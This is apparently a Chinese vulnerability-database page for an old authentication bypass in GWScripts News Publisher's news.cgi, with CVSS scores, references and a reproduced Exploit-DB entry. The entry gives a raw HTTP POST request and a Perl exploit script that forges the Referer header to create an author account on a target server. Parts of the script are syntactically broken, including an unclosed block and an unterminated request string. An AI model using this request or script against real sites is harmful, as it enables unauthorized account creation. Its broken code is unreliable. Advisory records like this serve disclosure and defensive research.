发布时间 :2000-10-20 00:00:00
修订时间 :2008-09-05 16:21:43

[原文]news.cgi in GWScripts News Publisher does not properly authenticate requests to add an author to the author index, which allows remote attackers to add new authors by directly posting an HTTP request to the new.cgi program with an addAuthor parameter, and setting the Referer to the news.cgi program.

[CNNVD]GWScripts News Publisher news.cgi新作者添加漏洞(CNNVD-200010-097)

        GWScripts News Publisher中news.cgi不能正确鉴定添加作者到作者索引的请求,远程攻击者可以通过直接邮递HTTP请求到带有addAuthor参数的new.cgi程序,并且设置news.cgi程序的Referer来添加新作者。

- CVSS (基础分值)

CVSS分值: 5 [中等(MEDIUM)]
机密性影响: NONE [对系统的机密性无影响]
完整性影响: PARTIAL [可能会导致系统文件被修改]
可用性影响: NONE [对系统可用性无影响]
攻击复杂度: LOW [漏洞利用没有访问限制 ]
攻击向量: [--]
身份认证: NONE [漏洞利用无需身份认证]

- CPE (受影响的平台与产品)


- OVAL (用于检测的技术细节)


- 官方数据库链接
(官方数据源) MITRE
(官方数据源) NVD
(官方数据源) CNNVD

- 其它链接及资源$18f8c1a0$953b29d4@e8s9s4
(VENDOR_ADVISORY)  BUGTRAQ  20000829 News Publisher CGI Vulnerability
(UNKNOWN)  XF  news-publisher-add-author(5169)

- 漏洞信息

GWScripts News Publisher news.cgi新作者添加漏洞
中危 未知
2000-10-20 00:00:00 2006-10-06 00:00:00
        GWScripts News Publisher中news.cgi不能正确鉴定添加作者到作者索引的请求,远程攻击者可以通过直接邮递HTTP请求到带有addAuthor参数的new.cgi程序,并且设置news.cgi程序的Referer来添加新作者。

- 公告与补丁


- 漏洞信息 (20183)

GWScripts News Publisher 1.0 author.file Write Vulnerability (EDBID:20183)
cgi remote
2000-08-29 Verified
0 n30
N/A [点击下载]

It is possible for a remote user to add an author to the author index (author.file) in GWScripts News Publisher, a web news publisher. This can be done by requesting the following raw HTTP request using any arbitrary username and password:

POST /cgi-bin/news/news.cgi?addAuthor HTTP/1.0
Connection: close
User-Agent: user/browser
Host: target
Referer: http://target/cgi-bin/news/news.cgi
Content-type: application/x-www-form-urlencoded
Content-length: 71

author=<username>&apassword=<password>&email=<email address>&name=<username>&password=<password>

# News Publisher EXPLOIT by n30
# Versions: tested on 1.05
#		      1.05a
#		      1.05b
#           	      1.06
# Bug Found By: me {n30}
# OS: Unix and Winnt
# The Problem:
#	The author decided in all his 'enlightened wisdom'
# that if the HTTP_REFERER url is the same as the News Publisher
# news.cgi file. Then U have OBVIOUSLY logged in?
# Exploit:
#	hmmm me thinks i should change the HTTP_REFERER to:
#	Using this exploit will add an author account with user kid
#	and passwerd of ur choice.
# NOTE: There are more inventive ways to use this Vulnerability :)
#	ie. maybe?? the Admin screen is protected by the HTTP_REFERER?
#, {trib's the webmaster not me!}
# Shoutz: trib, axess, domz, acidflame, raxie,  and all who know me!

use strict;
use Socket;

print("\nNews Publisher EXPLOIT\n");
print("By: n30 {n30\}\n");
print("\nShoutz: trib, axess, domz, acidflame, raxie\n");

if (@ARGV < 3) {
    print("\nUsage: $0 <target> <dir> <newpass>\n");
    print("\n   eg => ./ cgi-bin/news.cgi iisalamer\n");

(my $target,my $dir,my $newpass) = @ARGV;

# Setup Content-Length Header :)
my $length = 68 + (2 * length($newpass));

# Print BullShit
print("\nRemote host: $target\n");
print("CGI-script: $dir\n");
print("URL: http://$target/$dir\n");

# Setup URL Command
my $url = "author=kid&apassword=$newpass&email=lamerz\$newpass";
print("URL Command: $url\n");
# Necessary to DE-Kiddie da werld :)
my $agent = "-=Attention Admin=- pLz n0te d0wn th1s IP and P4ss ont0 fBi";

my $sploit=
"POST /$dir?addAuthor HTTP/1.0
Connection: close
User-Agent: $agent
Host: $target
Referer: http://$target/$dir
Content-type: application/x-www-form-urlencoded
Content-length: $length


my $iaddr = inet_aton($target)                     || die("Error: $!\n");
my $paddr = sockaddr_in(80, $iaddr)                || die("Error: $!\n");
my $proto = getprotobyname('tcp')                  || die("Error: $!\n");

socket(SOCKET, PF_INET, SOCK_STREAM, $proto)    || die("Error: $!\n");
connect(SOCKET, $paddr)                         || die("Error: $!\n");
send(SOCKET,"$sploit\015\012", 0)               || die("Error: $!\n");

print("\nWh0a chex0r: http://$target/$dir\nuser/pass: kid/$newpass\n");


- 漏洞信息

GWScripts News Publisher news.cgi addAuthor Command Parsing Author Account Creation
Remote / Network Access Input Manipulation
Loss of Integrity Solution Unknown
Exploit Public Third-party Verified, Uncoordinated Disclosure

- 漏洞描述

- 时间线

2000-08-29 Unknow
Unknow Unknow

- 解决方案

OSVDB is not aware of a solution for this vulnerability.

- 相关参考

- 漏洞作者

Unknown or Incomplete